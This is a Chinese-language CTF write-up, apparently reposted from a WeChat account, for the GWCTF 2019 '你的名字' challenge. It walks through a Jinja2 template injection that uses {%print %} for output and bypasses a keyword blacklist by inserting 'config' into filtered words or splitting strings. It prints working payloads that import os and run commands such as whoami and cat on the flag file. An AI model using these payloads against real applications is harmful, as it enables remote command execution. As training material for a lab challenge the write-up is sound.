[GWCTF 2019]你的名字-解题步骤详解

admin 2022年5月19日09:24:03评论209 views字数 1876阅读6分15秒阅读模式

[GWCTF 2019]你的名字-解题步骤详解

打开题目后界面如上所示,你输入什么名字后就会显示出来

[GWCTF 2019]你的名字-解题步骤详解

说实话,这种题不出意外应该就是模板注入没跑了

试了下{{2+2}}直接报错,还是报的php的错,但是{2+2}就可以正常显示出来,这就说明{{可能被过滤了,而{可能没被过滤,所以我们再试一些只要{}就能用的句子试试,如{% set a=“test” %}

[GWCTF 2019]你的名字-解题步骤详解

执行完了以后虽然没有回显但也没有报错,说明正常执行了这句话,确定了考点是模板注入后就得想想怎么绕过了

上网找了一篇模板注入绕过相关文章

[GWCTF 2019]你的名字-解题步骤详解

这里用了if语句执行命令,但是这有一个疑问,我怎么知道各个模块在环境中的具体位置啊,如他这里的’’.class.mro[2].subclasses()[59]在我们题目环境中执行了这个语句得到的可能和他写这个payload时用的不是同一个子类啊。这里实在想不通了,找了WP来看,结果大多数都是直接用别人的payload,都没有说是怎么构造出来的。找了好久终于找到一篇WP讲解了payload的构造过程

它用了{%print %}这种形式,这样就能打印出执行信息了

试了下{%print lipsum %},终于有回显了,有回显了就好开始下面的构造了,至于一步步构造payload的过程有疑惑的,可以看一看我之前写的ssti相关文章

[GWCTF 2019]你的名字-解题步骤详解

这里还得补充一点,{%print %}形式下,若果你构造的payload是正常的ssti用到的语句却没有回显,就说明你的语句中可能有关键字被过滤了,如{%print ‘’.class %}执行之后没有任何的回显,但{%print ‘’.clconfigass %}成功执行有回显,这说明class被过滤了

[GWCTF 2019]你的名字-解题步骤详解

这里直接给出本体的黑名单源代码

[GWCTF 2019]你的名字-解题步骤详解

这过滤代码挺傻的,是先从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因为config字符串是在黑名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config的过滤,所以我们在过滤字符中加入config就可以绕过

所以最终的payload可以写成如下形式

{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read()%}

[GWCTF 2019]你的名字-解题步骤详解

也可以拼接绕过

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}

[GWCTF 2019]你的名字-解题步骤详解

**

[GWCTF 2019]你的名字-解题步骤详解

**

{%set a='__bui'+'ltins__'%}{%set b='__im'+'port__'%}{%set c='o'+'s'%}{%set d='po'+'pen'%}{%print(lipsum['__globals__'][a][b](c)[d]('cat /flag_1s_Hera')['read']())%}

[GWCTF 2019]你的名字-解题步骤详解

当然,绕过方法还有很多,我的ssti文章中也详细讲了许多原理,有兴趣的可以看看.这道题最大的收获我觉得还是我看的这个大佬成功利用{%print %}解决了回显问题,而网上的其他大多数文章为了解决无法回显的问题大多是选择外带的形式,这就有一点麻烦了

[GWCTF 2019]你的名字-解题步骤详解

参考文章:

https://johnfrod.top/uncategorized/gwctf-2019%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97/


https://blog.z3ratu1.cn/%5BGWCTF%202019%5D%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97.html


https://blog.csdn.net/cjdgg/article/details/115770395?spm=1001.2014.3001.5501


https://xz.aliyun.com/t/6885#toc-4

原文来自CSDN博主「lmonstergg」|侵删



[GWCTF 2019]你的名字-解题步骤详解

[GWCTF 2019]你的名字-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习[GWCTF 2019]你的名字-解题步骤详解[GWCTF 2019]你的名字-解题步骤详解。想加入我们就给我们留言吧[GWCTF 2019]你的名字-解题步骤详解

[GWCTF 2019]你的名字-解题步骤详解

[GWCTF 2019]你的名字-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

[GWCTF 2019]你的名字-解题步骤详解

原文始发于微信公众号(寰宇卫士):[GWCTF 2019]你的名字-解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月19日09:24:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [GWCTF 2019]你的名字-解题步骤详解https://cn-sec.com/archives/1018533.html

发表评论

匿名网友 填写信息